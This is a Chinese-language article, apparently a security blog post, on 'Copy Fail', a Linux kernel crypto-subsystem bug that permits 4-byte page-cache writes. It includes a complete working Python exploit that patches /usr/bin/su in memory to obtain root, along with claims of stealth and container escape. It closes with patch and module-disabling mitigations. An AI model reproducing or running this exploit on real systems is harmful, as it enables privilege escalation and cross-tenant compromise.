Linux 内核加密子系统中沉睡 9 年的逻辑漏洞,732 字节 Python 脚本,任何主流发行版,直接获取 root。

一个无特权的本地用户,可以向 Linux 系统上任何可读文件的页缓存(page cache)写入 4 个可控字节,并利用这一点获取 root 权限。

没有竞态条件,不区分发行版本,没有编译依赖。100% 成功率,单次命中。

漏洞从哪来?

2017 年,Linux 内核的 algif_aead 模块引入了一项"原地优化"(in-place optimization)。优化本身很合理:当加密操作的源和目标指向同一块内存时,可以省掉一次拷贝。

但问题出在 authencesn 这个 AEAD 算法的实现上。它在处理 AAD ESN 字节时,把调用者的目标缓冲区当成了临时草稿区(scratch pad),在合法输出区域之后多写了 4 个字节,并且​从未恢复它们​。

这就是 "Copy Fail" 名字的由来——该拷贝的地方,拷贝失败了。

通过 AF_ALG 套接字 + splice() 系统调用的组合,攻击者可以让页缓存中的页面(page-cache pages)进入加密子系统的可写目标 scatterlist。于是这 4 个字节的越界写入,直接落到了页缓存中。

为什么这个漏洞如此危险?

  • 可移植​——同一个脚本,Ubuntu、Amazon Linux、RHEL、SUSE 全部通杀。无需修改偏移、无需版本检查、无需重新编译。
  • 微型​——732 字节的 Python 脚本,仅依赖标准库(ossocketzlib)。无编译载荷,无外部依赖。
  • 隐蔽​——写入绕过了 VFS 路径,被篡改的页缓存不会被标记为 dirty。没有任何东西落到磁盘上。系统重启后,缓存从磁盘重新加载,文件恢复原状。取证镜像显示的是未修改的原始文件。
  • 跨容器​——页缓存在宿主机上全局共享。一个拥有正确原语的 Pod 可以攻破整个节点,跨越租户边界——这是容器逃逸原语,而不仅仅是本地提权。

攻击演示

同一个 732 字节脚本,在四个不同发行版上同时执行:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

然后使用 python 执行这段脚本, 再 su

就这么简单。不需要编译,不需要安装工具,甚至可以在容器中一条命令,root 到手。

已验证受影响的发行版:

Debian、Arch、Fedora、Rocky、Alma、Oracle Linux 等其他运行受影响内核的发行版同样受影响。

谁最该担心?

云厂商以及saas服务商已经在瑟瑟发抖了

风险等级 场景 原因
高危 多租户 Linux 主机 共享开发机、跳板机、构建服务器——任何多用户共享内核的环境
高危 Kubernetes / 容器集群 页缓存在宿主机上共享,Pod 可以攻破节点并跨越租户边界
高危 CI/CD Runner GitHub Actions 自托管 Runner、GitLab Runner、Jenkins Agent——执行不可信 PR 代码的环境
高危 运行用户代码的云 SaaS Notebook 托管、Agent 沙箱、Serverless 函数——任何租户可以执行代码的环境
中危 标准 Linux 服务器 单租户生产环境,仅团队有 shell 访问权限
低危 单用户笔记本/工作站 你已经是唯一用户,漏洞本身不授予远程攻击者访问权限

修复方案

1. 打补丁(首选方案)

更新内核到包含主线 commit a664bf3d603d 的版本。该补丁回退了 2017 年的 algif_aead 原地优化,确保页缓存页面不再出现在可写的目标 scatterlist 中。主流发行版已经开始推送修复。

2.禁用 algif_aead

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

结论

Copy Fail 是一个教科书级别的逻辑漏洞案例。它不需要复杂的利用技术,不依赖脆弱的竞态窗口,不针对特定内核版本。一个 9 年前引入的性能优化,在一行直线代码中沉睡了近十年。